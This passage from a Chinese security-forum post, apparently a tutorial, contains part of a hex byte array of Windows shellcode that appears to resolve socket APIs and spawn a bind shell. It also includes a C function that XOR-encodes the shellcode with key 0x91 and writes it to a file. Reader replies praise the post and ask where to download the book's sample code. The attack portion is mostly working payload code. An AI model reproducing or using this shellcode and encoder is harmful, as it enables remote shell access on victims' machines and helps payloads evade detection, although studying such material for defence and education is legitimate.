        0x3D, 0xC7, 0xC5, 0x75, 0x06, 0x95, 0xFF, 0x57, 0xF4, 0x95, 0x57, 0x60, 0x8B, 0x45, 0x3C, 0x8B,
        0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB,
        0x03, 0xF5, 0x99, 0x33, 0xC0, 0x33, 0xD2, 0xAC, 0x34, 0x71, 0x66, 0x2B, 0xD0, 0x66, 0xD1, 0xC2,
        0x3C, 0x71, 0x75, 0xF3, 0x66, 0x3B, 0x54, 0x24, 0x1C, 0x75, 0xE1, 0x8B, 0x59, 0x24, 0x03, 0xDD,
        0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57,
        0x61, 0x3B, 0xF7, 0x75, 0xA8, 0x5E, 0x54, 0x6A, 0x02, 0xAD, 0xFF, 0xD0, 0x88, 0x46, 0x13, 0x8D,
        0x48, 0x30, 0x8B, 0xFC, 0xF3, 0xAB, 0x40, 0x50, 0x40, 0x50, 0xAD, 0xFF, 0xD0, 0x95, 0xB8, 0x02,
        0xFF, 0x1A, 0x0A, 0x32, 0xE4, 0x50, 0x54, 0x55, 0xAD, 0xFF, 0xD0, 0x85, 0xC0, 0x74, 0xF8, 0xFE,
        0x44, 0x24, 0x2D, 0x83, 0xEF, 0x6C, 0xAB, 0xAB, 0x58, 0x54, 0x54, 0x50, 0x50, 0x50, 0x54, 0x50,
        0x50, 0x56, 0x50, 0xFF, 0x56, 0xE4, 0x53, 0x6A, 0xFF, 0xFF, 0x56, 0xE8,    0x90
    };
    encoder(codetest, 0x91, 1);//通过和0x91异或输出到文件encode.txt,以及打印出来
    system("pause");
    return 0;
}
//对shellcode进行编码
void encoder(char* input, unsigned char key, int display_flag)
{
    int i = 0, len = 0;
    FILE* fp;
    unsigned char* output = 0;
    len = strlen(input);
    output = (unsigned char*)malloc(len + 1);
    if (!output)
    {
        printf("内存申请失败!\n");
        system("pause");
        exit(0);
    }
 
    //encode the shellcode
    for (i = 0; i < len; i++)
    {

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-5-22 18:01 被舒默哦编辑 ,原因: 更正错误
收藏
免费 9
支持
分享
最新回复 (5)
雪    币: 690
活跃值: (1826)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
2
学习了。
2021-5-24 14:55
1
雪    币: 14530
活跃值: (17548)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
3
感谢分享
2021-5-24 16:36
1
雪    币: 8209
活跃值: (6434)
能力值: ( LV12,RANK:207 )
在线值:
发帖
回帖
粉丝
4
舒默牛逼!
2021-5-25 11:41
1
雪    币: 1670
活跃值: (1958)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
书的实例代码在哪下载??
2023-3-15 15:46
0
雪    币: 4150
活跃值: (2489)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
大佬腻害呀
2023-3-15 16:00
0
游客
登录 | 注册 方可回帖
返回
//